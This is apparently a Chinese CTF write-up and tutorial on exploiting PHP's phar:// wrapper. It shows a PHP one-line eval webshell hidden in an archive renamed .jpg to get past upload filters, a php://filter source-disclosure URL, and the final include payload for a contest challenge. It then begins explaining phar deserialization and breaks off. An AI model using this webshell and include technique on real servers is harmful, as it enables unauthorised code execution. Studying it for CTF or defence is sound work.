为啥我第一个就凉了
Phar的简述
翻译自手册:
phar是什么?Phar归档最好的特点是可以方便地将多个文件组合成一个文件。因此,phar归档提供了一种方法,可以将完整的PHP应用程序分发到单个文件中,并从该文件运行它,而不需要将其提取到磁盘。此外,PHP可以像执行任何其他文件一样轻松地执行phar归档,无论是在命令行上还是在web服务器上。
利用姿势一:绕过上传限制
例子
使用Phar://
伪协议流可以Bypass一些上传的waf,大多数情况下和文件包含一起使用,就类似于我们的压缩包(其实就是一个压缩包),只不过我们换了一种方式去执行而已
写一段小代码测试一下:
test.php
<?php @eval($_POST["cmd"]);?>
然后将test.php压缩,将压缩文件改后缀为.jpg
index.php
<?php
include('phar://./test.jpg/test.php');
?>
成功包含
例题:安恒11月月赛:image_up
信息收集:
http://101.71.29.5:10043/index.php?page=login
尝试伪协议读取一波源码
http://101.71.29.5:10007/index.php?page=php://filter/read=convert.base64-encode/resource=
base64解码
index.php
<?php
if(isset($_GET['page'])){
if(!stristr($_GET['page'],"..")){
$page = $_GET['page'].".php";
include($page);
}else{
header("Location: index.php?page=login");
}
}else{
header("Location: index.php?page=login");
}
login.php
<?php
if(isset($_POST['username'])&&isset($_POST['password'])){
header("Location: index.php?page=upload");
exit();
}
?>
upload.php
<?php
$error = "";
$exts = array("jpg","png","gif","jpeg");
if(!empty($_FILES["image"]))
{
$temp = explode(".", $_FILES["image"]["name"]);
$extension = end($temp);
if((@$_upfileS["image"]["size"] < 102400))
{
if(in_array($extension,$exts)){
$path = "uploads/".md5($temp[0].time()).".".$extension;
move_uploaded_file($_FILES["image"]["tmp_name"], $path);
$error = "上传成功!";
}
else{
$error = "上传失败!";
}
}else{
$error = "文件过大,上传失败!";
}
}
?>
分析:
从upload.php可以看出只能上传("jpg","png","gif","jpeg")文件,而且再index.php中在包含的文件后面强行加了".php",直接包含图片文件明显不可以了,于是就用到了我们的Phar伪协议流,将我们的一句话木马打包成压缩包,然后再将后缀改为.jpg
,这样就能通过Phar伪协议去包含我们的一句话木马了。
这题有一个坑点,就是时间戳的问题:
$path = "uploads/".md5($temp[0].time()).".".$extension;
这里要time()+8*3600,时区不同所以要加上8小时
payload:
/index.php?page=phar://./uploads/6b19a5399b7d34fbb3c509ca8c25fd89.jpg/1
菜刀连接即可getflag
利用姿势二:Phar反序列化漏洞
我们一般利用反序列漏洞,一般都是借助unserialize()函数,不过随着人们安全的意识的提高这种漏洞利用越来越来难了,但是在今年8月份的Blackhat2018大会上,来自Secarma的安全研究员Sam Thomas讲述了一种攻击PHP应用的新方式,利用这种方法可以在不使用unserialize()函数的情况下触发PHP反序列化漏洞。漏洞触发是利用Phar:// 伪协议读取phar文件时,会反序列化meta-data储存的信息。
Phar文件结构
Phar文件主要包含三至四个部分:
1. A stub
stub的基本结构:<?php HALT_COMPILER();,stub必须以HALT_COMPILER();来作为结束部分,否则Phar拓展将不会识别该文件。
2. a manifest describing the contents
Phar文件中被压缩的文件的一些信息,其中Meta-data部分的信息会以反序列化的形式储存,这里就是漏洞利用的关键点
3. the file contents
被压缩的文件内容,在没有特殊要求的情况下,这个被压缩的文件内容可以随便写的,因为我们利用这个漏洞主要是为了触发它的反序列化
4. a signature for verifying Phar integrity
签名格式
小测试
既然都知道Phar文件的基本结构了,那么我们就写一段代码来测试一下